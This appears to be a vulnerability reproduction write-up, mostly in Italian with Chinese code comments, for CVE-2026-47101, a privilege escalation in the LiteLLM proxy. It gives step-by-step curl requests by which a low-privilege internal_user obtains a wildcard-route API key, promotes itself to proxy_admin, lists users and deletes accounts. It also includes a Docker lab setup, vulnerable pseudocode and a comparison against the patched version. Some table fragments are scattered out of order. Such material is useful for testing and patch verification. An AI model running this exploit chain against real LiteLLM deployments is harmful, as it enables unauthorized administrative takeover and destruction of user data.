
Il codice per riprodurre personalmente la vulnerabilità corrispondente
/key/generate + /user/updateL'endpoint
/key/generatedi LiteLLM v1.82.6 (versioni precedenti alla v1.83.14) consente a uninternal_usercon privilegi limitati di richiedere una chiave API con route wildcard["/*"], e successivamente tramite l'endpoint/user/updatedi elevare il proprio ruolo aproxy_admin, realizzando un'elevazione dei privilegi non autorizzata.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (ALTO) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Autorizzazione non corretta) |
| Versioni interessate | LiteLLM < 1.83.14 (confermato su v1.82.6) |
| Versione corretta | v1.83.14+ (aggiunto controllo del ruolo per allowed_routes) |
| Pubblicazione | 2026-05-21 |
| Scoperta da | Fenix Qiao (13ph03nix) — Obsidian Security |
| Link | Dettaglio NVD |
Gli endpoint /key/generate di LiteLLM vengono utilizzati per generare chiavi API, mentre /user/update per aggiornare gli attributi utente. I controlli di autorizzazione di questi due endpoint presentano tre difetti concatenati che possono essere sfruttati in sequenza da un utente con privilegi limitati:
/key/generate non valida allowed_routes — qualsiasi ruolo (incluso internal_user) può richiedere route wildcard ["/*"]allowed_routes — la chiave wildcard generata può accedere a tutti gli endpoint amministrativi/user/update consente l'auto-modifica del campo user_role — sfruttando la chiave wildcard è possibile elevare il proprio ruolo a proxy_admininternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ 获得通配符 API key
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ 角色提升为 proxy_admin
→ GET /user/list (使用通配符 key)
→ 验证管理员访问权限
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10
L'output atteso dovrebbe includere log di avvio riuscito come Uvicorn running on http://0.0.0.0:4000.
Utilizzando la master key, creare un account internal_user con privilegi limitati:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Output atteso:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Annotare user_id e key restituiti: saranno necessari nei passaggi successivi.
Chiamare /key/generate come internal_user, richiedendo una chiave API con route wildcard ["/*"]:
# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Output atteso:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Punto vulnerabile:
internal_userè riuscito a generare una chiave API con route wildcard["/*"]! Questa chiave può accedere a tutti gli endpoint amministrativi, inclusi/user/update,/user/list, ecc.
Utilizzando la chiave con route wildcard, chiamare /user/update per elevare il ruolo utente a proxy_admin:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Output atteso:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Punto vulnerabile:
user_roleè stato modificato dainternal_useraproxy_admin! L'endpoint/user/updateconsente all'utente di modificare il proprio campouser_rolesenza alcuna restrizione di autorizzazione.
Verificare che l'elevazione del ruolo sia effettiva tramite l'endpoint /user/list:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Output atteso:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
L'endpoint
/user/listconsente l'accesso solo al ruoloproxy_admin. Aver ottenuto con successo l'elenco utenti conferma che l'elevazione dei privilegi è effettiva.
Sfruttando i privilegi proxy_admin ottenuti, è possibile eliminare qualsiasi utente tramite /user/delete:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Output atteso:
1
I passaggi precedenti sono stati integrati in demo.sh, eseguibile direttamente:
# 完整复现(包含步骤 1-5)
bash demo.sh
# 同时测试修复版本对比
bash demo.sh --fixed
Avviare la versione corretta (v1.83.14-stable) per verificare che la vulnerabilità sia stata risolta:
# 启动修复版本
docker compose --profile fixed up -d litellm-fixed
# 等待就绪
sleep 15
Creare un internal_user:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Provare a generare una chiave con route wildcard (atteso il blocco):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Output atteso (la versione corretta blocca le richieste non autorizzate):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Confronto con la versione vulnerabile:
| Scenari di test | Versione vulnerabile (v1.82.6) | Versione corretta (v1.83.14) |
|---|---|---|
| internal_user richiede |
POST /key/generateGenera una nuova chiave API. Il parametro allowed_routes viene utilizzato per limitare l'elenco delle route degli endpoint a cui la chiave può accedere.
| Campo | Tipo | Obbligatorio | Descrizione |
|---|---|---|---|
allowed_routes | array | No | Elenco delle route consentite, ad esempio ["/*"] indica tutte le route |
POST /user/updateAggiorna gli attributi dell'utente, incluso il campo user_role.
| Campo | Tipo | Obbligatorio | Descrizione |
|---|---|---|---|
user_id | string |
Come internal_user, chiamare /key/generate richiedendo una chiave con ["/*"]:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
La risposta include una nuova chiave API, che dispone dei permessi di route wildcard.
Utilizzando la chiave wildcard, chiamare /user/update:
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
GET /user/list
Authorization: Bearer sk-wildcard-key
La causa principale della vulnerabilità risiede nella mancanza di tre controlli di autorizzazione indipendenti:
/key/generate — Manca la verifica del ruolo per allowed_routesL'endpoint /key/generate accetta il parametro allowed_routes e lo associa direttamente alla chiave, senza verificare il ruolo del richiedente. Anche un internal_user può richiedere permessi di route a livello amministrativo.
# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
# 仅验证了 API key 有效性
# 未检查 user_role 是否允许请求 allowed_routes
allowed_routes = params.get("allowed_routes", [])
new_key = create_key(user=user, allowed_routes=allowed_routes)
return {"key": new_key}
Quando il middleware verifica i permessi sulle route, se il controllo di autorizzazione a livello di ruolo utente fallisce, ricade sul controllo dell'elenco allowed_routes della chiave API. Poiché ["/*"] corrisponde a tutte le route, tutti gli endpoint amministrativi vengono autorizzati.
# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
# 用户角色检查失败后回退到 allowed_routes
if not user_role_authorized(request, api_key.user):
# 检查 allowed_routes — ["/*"] 匹配所有
if not any(match_route(route, request.path) for route in api_key.allowed_routes):
return HTTP_403
return HTTP_200
/user/update — Consente l'auto-modifica di user_roleQuando l'endpoint /user/update aggiorna gli attributi utente, consente all'utente di modificare il proprio campo user_role, senza restrizioni. Solo il ruolo proxy_admin dovrebbe avere il permesso di modificare i ruoli utente.
# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
user_id = params.get("user_id")
updates = {}
if "user_role" in params:
updates["user_role"] = params["user_role"] # 未做权限校验!
update_user_in_db(user_id, updates)
return {"user_id": user_id, "data": updates}
La versione corretta aggiunge controlli di autorizzazione nei seguenti tre aspetti:
/key/generate — aggiunta la validazione del parametro allowed_routes: gli utenti normali non possono richiedere permessi di route a livello amministrativoallowed_routes/user/update — limitati i permessi di modifica del campo user_role: solo proxy_admin può modificare i ruoli utenteCVE-2026-47101/
├── README.md # This file
├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
allowed_routes/user/update con modifiche di user_role per attività anomaleDisclaimer: Questo contenuto è fornito solo a scopo educativo e per test di sicurezza autorizzati.
["/*"]| ✅ chiave wildcard generata con successo |
| ❌ bloccata (HTTP 403) |
| la chiave wildcard modifica user_role | ✅ elevazione a proxy_admin riuscita | ❌ bloccata |
| la chiave wildcard accede a /user/list | ✅ elenco utenti ottenuto | ❌ bloccata |
| Sì |
| ID dell'utente da aggiornare |
user_role | string | Sì | Nuovo ruolo (ad es. proxy_admin) |